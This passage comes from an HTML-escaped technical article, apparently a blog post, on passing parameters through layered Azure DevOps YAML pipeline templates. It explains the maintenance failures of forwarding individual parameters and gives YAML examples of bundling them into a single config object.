x='520' y='68' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='84' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='164' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='260' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='276' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='308' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='356' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='372' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='436' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='452' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='20' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='68' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='164' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='260' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='276' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='308' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='356' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='372' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='452' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='116' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='164' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='180' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='212' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='260' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='276' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='308' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='372' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='436' fill='currentColor' style='font-size:1em'\u003eq\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='452' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='276' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='308' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='372' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='436' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='452' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='84' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='116' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='180' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='212' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='276' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='308' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='372' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='436' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='452' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='180' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='276' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='372' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='436' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='452' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='308' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='372' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='452' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='20' fill='currentColor' style='font-size:1em'\u003e+\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='116' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='212' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='308' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='436' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='452' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='20' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='116' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='212' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='308' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='452' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='452' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='212' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='308' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='452' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='20' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='308' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='452' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='452' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='20' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='452' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='452' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='452' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003c/g\u003e\n\n    \u003c/svg\u003e\n  \n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eVisual Notes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eNaive Pattern\u003c/strong\u003e: Every intermediate layer must \u0026ldquo;know\u0026rdquo; about every parameter, creating tight coupling and a high \u0026ldquo;plumbing\u0026rdquo; cost.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRefactored Pattern\u003c/strong\u003e: Intermediate layers treat the configuration as an opaque bundle, reducing the impact of changes to just the entry and exit points.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"the-maintenance-failure-mode\"\u003eThe Maintenance Failure Mode\u003c/h3\u003e\n\u003cp\u003eThe real cost appears when the hierarchy changes.\u003c/p\u003e\n\u003cp\u003eA platform team adds a \u003ccode\u003ecacheEnabled: boolean\u003c/code\u003e parameter to \u003ccode\u003esteps-template.yml\u003c/code\u003e. They add it to \u003ccode\u003ejobs-template.yml\u003c/code\u003e to pass it through. They forget \u003ccode\u003estages-template.yml\u003c/code\u003e. The pipeline fails immediately:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e/stages-template.yml (Line: 12, Col: 7): Parameter \u0026#39;cacheEnabled\u0026#39; is not declared in template \u0026#39;/jobs-template.yml\u0026#39;.\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe error points at the caller (\u003ccode\u003estages-template.yml\u003c/code\u003e), but usually explicitly names the target template where the declaration is missing (\u003ccode\u003e/jobs-template.yml\u003c/code\u003e). However, it sends teams hunting through the chain to patch the missing links.\u003c/p\u003e\n\u003cp\u003eThe reverse failure is equally disruptive. A parameter removed from the bottom-layer consumer but left in the intermediate layers produces:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e/jobs-template.yml (Line: 8, Col: 7): Unexpected parameter \u0026#39;legacyFlag\u0026#39; in template \u0026#39;/steps-template.yml\u0026#39;.\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eBoth failure modes block every pipeline using the shared template until the entire chain is patched. In an organization where 30 teams share one template library, this is a production incident.\u003c/p\u003e\n\u003ch3 id=\"when-the-naive-pattern-is-acceptable\"\u003eWhen the Naive Pattern Is Acceptable\u003c/h3\u003e\n\u003cp\u003eNot every template needs these patterns. The added indirection from object bundling has a cost: it removes parse-time type checking and makes the parameter contract invisible to intermediate layers. Only add that cost when the maintenance cost of not having it is higher.\u003c/p\u003e\n\u003cp\u003eUse explicit individual parameters when:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe hierarchy is 2 layers deep or fewer.\u003c/li\u003e\n\u003cli\u003eThe total parameter count stays below 8.\u003c/li\u003e\n\u003cli\u003eOnly one or two pipelines call the template.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eApply the patterns in this article when:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe hierarchy is 3+ layers deep.\u003c/li\u003e\n\u003cli\u003eAny intermediate layer forwards 5+ parameters without reading them.\u003c/li\u003e\n\u003cli\u003eMultiple teams call the same shared template.\u003c/li\u003e\n\u003cli\u003eAdding a parameter would require editing more than 2 files.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"pattern-1--the-config-object\"\u003ePattern 1 — The Config Object\u003c/h2\u003e\n\u003ch3 id=\"bundling-parameters-into-a-single-object\"\u003eBundling Parameters into a Single \u003ccode\u003eobject\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003eAn \u003ccode\u003eobject\u003c/code\u003e parameter accepts any valid YAML mapping or sequence. Azure DevOps passes it through the template chain without schema validation. Replacing 10 individual string parameters with one \u003ccode\u003econfig\u003c/code\u003e object parameter reduces every intermediate layer to a single declaration:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: {}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIntermediate layers pass the object through unchanged. They never open it. They never read from it:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enext-layer.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econfig\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe bottom-layer consumer is the only file that knows what properties exist inside the object.\u003c/p\u003e\n\u003cp\u003eHere is the same 3-layer hierarchy from above, refactored to a Config Object. Before: 12 parameter declarations across 4 files. After: 4.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# pipeline.yml — only the top level declares the full config shape\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eserviceConnection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyregistry.azurecr.io\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003elatest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ecacheEnabled\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eapprovalRequired\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estages-template.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econfig\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# stages-template.yml — two parameters, zero reads from config\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eserviceConnection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: {}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ejobs-template.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003econfig\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# jobs-template.yml — two parameters, zero reads from config\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eserviceConnection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: {}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esteps-template.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econfig\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" 